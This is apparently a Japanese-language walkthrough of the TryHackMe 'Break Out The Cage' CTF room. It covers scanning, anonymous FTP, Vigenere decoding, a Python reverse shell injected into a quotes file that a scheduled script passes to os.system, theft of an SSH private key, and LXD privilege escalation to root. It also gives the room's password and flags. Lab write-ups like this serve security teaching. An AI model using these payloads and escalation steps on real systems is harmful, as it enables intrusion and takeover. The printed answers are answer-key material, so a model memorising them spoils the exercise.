【TryHackMe】Break Out The Cage：Walkthrough

# 概要

TryHackMe「Break Out The Cage」のWalkthroughです。

https://tryhackme.com/r/room/breakoutthecage1

# Task1

## **Q1**.*What is Weston's password?*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sV -A -sC -p- 10.10.251.24 -oN nmap_result
PORT      STATE    SERVICE     VERSION
21/tcp    open     ftp         vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             396 May 25  2020 dad_tasks
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.55.144
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open     ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dd:fd:88:94:f8:c8:d1:1b:51:e3:7d:f8:1d:dd:82:3e (RSA)
|   256 3e:ba:38:63:2b:8d:1c:68:13:d5:05:ba:7a:ae:d9:3b (ECDSA)
|_  256 c0:a6:a3:64:44:1e:cf:47:5f:85:f6:1f:78:4c:59:d8 (ED25519)
80/tcp    open     http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Nicholas Cage Stories
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.3|
|22|ssh|OpenSSH 7.6p1|
|80|http|Apache httpd 2.4.29|

FTPにAnonymous接続します。

```
$ ftp 10.10.251.24
Connected to 10.10.251.24.
220 (vsFTPd 3.0.3)
Name (10.10.251.24:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

`dad_tasks`を発見したのでダウンロードします。

```
ftp> ls
229 Entering Extended Passive Mode (|||50499|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             396 May 25  2020 dad_tasks
226 Directory send OK.
ftp> get dad_tasks
local: dad_tasks remote: dad_tasks
229 Entering Extended Passive Mode (|||43368|)
150 Opening BINARY mode data connection for dad_tasks (396 bytes).
100% |*********************************|   396        3.41 KiB/s    00:00 ETA
226 Transfer complete.
396 bytes received in 00:00 (1.09 KiB/s)
```

ファイルの内容は`Base64`でデコードできましたが、暗号化されています。

```dad_tasks
UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJHUVJPISEhIQpTZncuIEtham5tYiB4c2kgb3d1b3dnZQpGYXouIFRtbCBma2ZyIHFnc2VpayBhZyBvcWVpYngKRWxqd3guIFhpbCBicWkgYWlrbGJ5d3FlClJzZnYuIFp3ZWwgdnZtIGltZWwgc3VtZWJ0IGxxd2RzZmsKWWVqci4gVHFlbmwgVnN3IHN2bnQgInVycXNqZXRwd2JuIGVpbnlqYW11IiB3Zi4KCkl6IGdsd3cgQSB5a2Z0ZWYuLi4uIFFqaHN2Ym91dW9leGNtdndrd3dhdGZsbHh1Z2hoYmJjbXlkaXp3bGtic2lkaXVzY3ds
```

```
$ echo "UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJHUVJPISEhIQpTZncuIEtham5tYiB4c2kgb3d1b3dnZQpGYXouIFRtbCBma2ZyIHFnc2VpayBhZyBvcWVpYngKRWxqd3guIFhpbCBicWkgYWlrbGJ5d3FlClJzZnYuIFp3ZWwgdnZtIGltZWwgc3VtZWJ0IGxxd2RzZmsKWWVqci4gVHFlbmwgVnN3IHN2bnQgInVycXNqZXRwd2JuIGVpbnlqYW11IiB3Zi4KCkl6IGdsd3cgQSB5a2Z0ZWYuLi4uIFFqaHN2Ym91dW9leGNtdndrd3dhdGZsbHh1Z2hoYmJjbXlkaXp3bGtic2lkaXVzY3ds" | base64 -d
Qapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGQRO!!!!
Sfw. Kajnmb xsi owuowge
Faz. Tml fkfr qgseik ag oqeibx
Eljwx. Xil bqi aiklbywqe
Rsfv. Zwel vvm imel sumebt lqwdsfk
Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.

Iz glww A ykftef.... Qjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwl
```

暗号文を下記サイトなどで解析すると`Vigenere暗号`を使用しているようです。

![cypher analyze.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f69e5c6e-d4c5-ff44-9096-c4e3e58e2e46.jpeg)

下記サイトを利用して解読できました。

https://www.guballa.de/vigenere-solver

![dec.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/30f8c8f4-b87d-bafd-18b7-95510cb5b409.jpeg)

Webサービスを調べます。
`80`番ポートにアクセスします。

![index.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e6ff8cb2-e964-5eb7-20b0-b75b83914114.jpeg)

ディレクトリスキャンをします。

```
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.251.24/FUZZ -ic -c
                        [Status: 200, Size: 2453, Words: 217, Lines: 63, Duration: 237ms]
images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 237ms]
html                    [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 237ms]
scripts                 [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 238ms]
contracts               [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 237ms]
auditions               [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 241ms]
```

検出されたディレクトリから有用な情報は得られませんでした。

:::note info
auditions/must_practice_corrupt_file.mp3を解析すると`Vigenere暗号`のKeyを得られたようです。

![spectoram analyze.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c5b58f9d-7e87-0e3b-599a-6e7e18df0e3a.jpeg)
:::


**A**.**Mydadisghostrideraintthatcoolnocausehesonfirejokes**

## **Q2**.*What's the user flag?*

得られたパスワードで`weston`アカウントにSSH接続します。

```
$ ssh weston@10.10.18.35
weston@national-treasure:~$
```

`sudo -l`で確認すると`/usr/bin/bees`が実行可能です。

```
$ sudo -l
Matching Defaults entries for weston on national-treasure:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User weston may run the following commands on national-treasure:
    (root) /usr/bin/bees
```

実行するとメッセージが表示されました。

```
$ sudo /usr/bin/bees 
                                                                               
Broadcast message from weston@national-treasure (pts/0) (Fri Sep 27 14:17:38 20
                                                                               
AHHHHHHH THEEEEE BEEEEESSSS!!!!!!!!
```

プログラムの内容を確認すると`wall`コマンドで文字列を出力しています。

```
$ cat /usr/bin/bees 
#!/bin/bash

wall "AHHHHHHH THEEEEE BEEEEESSSS!!!!!!!!"
```

また、定期的にブロードキャストメッセージが表示されることも分かりました。

```
Broadcast message from cage@national-treasure (somewhere) (Fri Sep 27 14:21:01 
                                                                               
“I saw you and you saw me, don’t pretend like you don’t know who I am girly man” — Snake Eyes
```

```
Broadcast message from cage@national-treasure (somewhere) (Fri Sep 27 14:24:01 
                                                                               
Did I ever tell ya that this here jacket represents a symbol of my individuality, and my belief in personal freedom? — Wild at Heart
```

ディレクトリを探索していると、`/opt/.dads_scripts/spread_the_quotes.py`を発見しました。

```/opt/.dads_scripts/spread_the_quotes.py
#!/usr/bin/env python

#Copyright Weston 2k20 (Dad couldnt write this with all the time in the world!)
import os
import random

lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
os.system("wall " + quote)
```

このプログラムが`wall`コマンドで文字列を出力しているようです。
`system()`関数を利用しているの`quote`変数からOSコマンドを実行できそうです。

`weston`アカウントは`cage`グループに所属しているので`/opt/.dads_scripts/.files/.quotes`ファイルに書き込み可能です。

```
$ id
uid=1001(weston) gid=1001(weston) groups=1001(weston),1000(cage)
$ ls -la /opt/.dads_scripts/.files/
total 16
drwxrwxr-x 2 cage cage 4096 May 25  2020 .
drwxr-xr-x 3 cage cage 4096 May 26  2020 ..
-rwxrw---- 1 cage cage 4204 May 25  2020 .quotes
```

`/opt/.dads_scripts/.files/.quotes`にリバースシェルのペイロードを上書きします。

```
$ cat .files/.quotes 
a; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

Netcatでリッスンしているとシェルを張れました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.18.35] 33866
$ whoami
whoami
cage
```

`/home/cage/.ssh/id_rsa`からSSHの秘密鍵を入手できました。

```
$ cat .ssh/id_rsa
cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEAq3EF98w96QpNGqZ0hbHkqXy5f7/Xh6Uh/ThrejT2vmKaBOTO
adqQOynPg5c5F2dFuVEWYGqNTgJ2BAkz7TzC1I3eXNP49c4ngpSDhW0mZlP148yt

(省略)
```

SSHでログインします。

```
$ ssh -i id_rsa cage@10.10.18.35
cage@national-treasure:~$
```

`/home/cage/Super_Duper_Checklist`からユーザーフラグを入手できました。

```
$ cat Super_Duper_Checklist
1 - Increase acting lesson budget by at least 30%
2 - Get Weston to stop wearing eye-liner
3 - Get a new pet octopus
4 - Try and keep current wife
5 - Figure out why Weston has this etched into his desk: THM{M37AL_0R_P3N_T35T1NG}
```

**A**.**THM{M37AL_0R_P3N_T35T1NG}**

## **Q3**.*What's the root flag?*

`linpeas`を実行します。

```
$ ./linpeas.sh
```

`lxd`グループに所属していると分かりました。

```
═══════════════════════════════╣ Basic information ╠═══════════════════════════════                                       
                               ╚═══════════════════╝                                                                      
OS: Linux version 4.15.0-101-generic (buildd@lgw01-amd64-003) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020
User & Groups: uid=1000(cage) gid=1000(cage) groups=1000(cage),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
```

この場合、権限昇格できるテクニックがあります。

https://www.hackingarticles.in/lxd-privilege-escalation/

Kaliで攻撃の準備をします。

```
$ git clone  https://github.com/saghul/lxd-alpine-builder.git
$ cd lxd-alpine-builder
$ sudo ./build-alpine
$ ls -la
total 7004
drwxr-xr-x 3 kali kali    4096 Sep 27 10:53 .
drwxr-xr-x 4 kali kali    4096 Sep 27 10:52 ..
-rw-r--r-- 1 kali kali 3259593 Sep 27 10:52 alpine-v3.13-x86_64-20210218_0139.tar.gz
-rw-r--r-- 1 root root 3857969 Sep 27 10:53 alpine-v3.20-x86_64-20240927_1053.tar.gz
$ python -m http.server 80
```

ターゲットマシン上でコマンドを実行すると権限昇格に成功しました。

```
$ wget http://10.6.55.144/alpine-v3.20-x86_64-20240927_1053.tar.gz
$ lxc image import ./alpine-v3.20-x86_64-20240927_1053.tar.gz --alias myimage
$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE          |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
| myimage | 38776d0878df | no     | alpine v3.20 (20240927_10:53) | x86_64 | 3.68MB | Sep 27, 2024 at 2:58pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+------------------------------+
$ lxd init
$ lxc init myimage ignite -c security.privileged=true
$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
$ lxc start ignite
$ lxc exec ignite /bin/sh
~ # whoami
root
```

`/mnt/root/root/email_backup/email_2`からルートフラグを入手できます。

```
cat /mnt/root/root/email_backup/email_2
From - master@ActorsGuild.com
To - SeanArcher@BigManAgents.com

Dear Sean

I'm very pleased to here that Sean, you are a good disciple. Your power over him has become
strong... so strong that I feel the power to promote you from disciple to crony. I hope you
don't abuse your new found strength. To ascend yourself to this level please use this code:

THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}

Thank you

Sean Archer
```

**A**.**THM{8R1NG_D0WN_7H3_C493_L0N9_L1V3_M3}**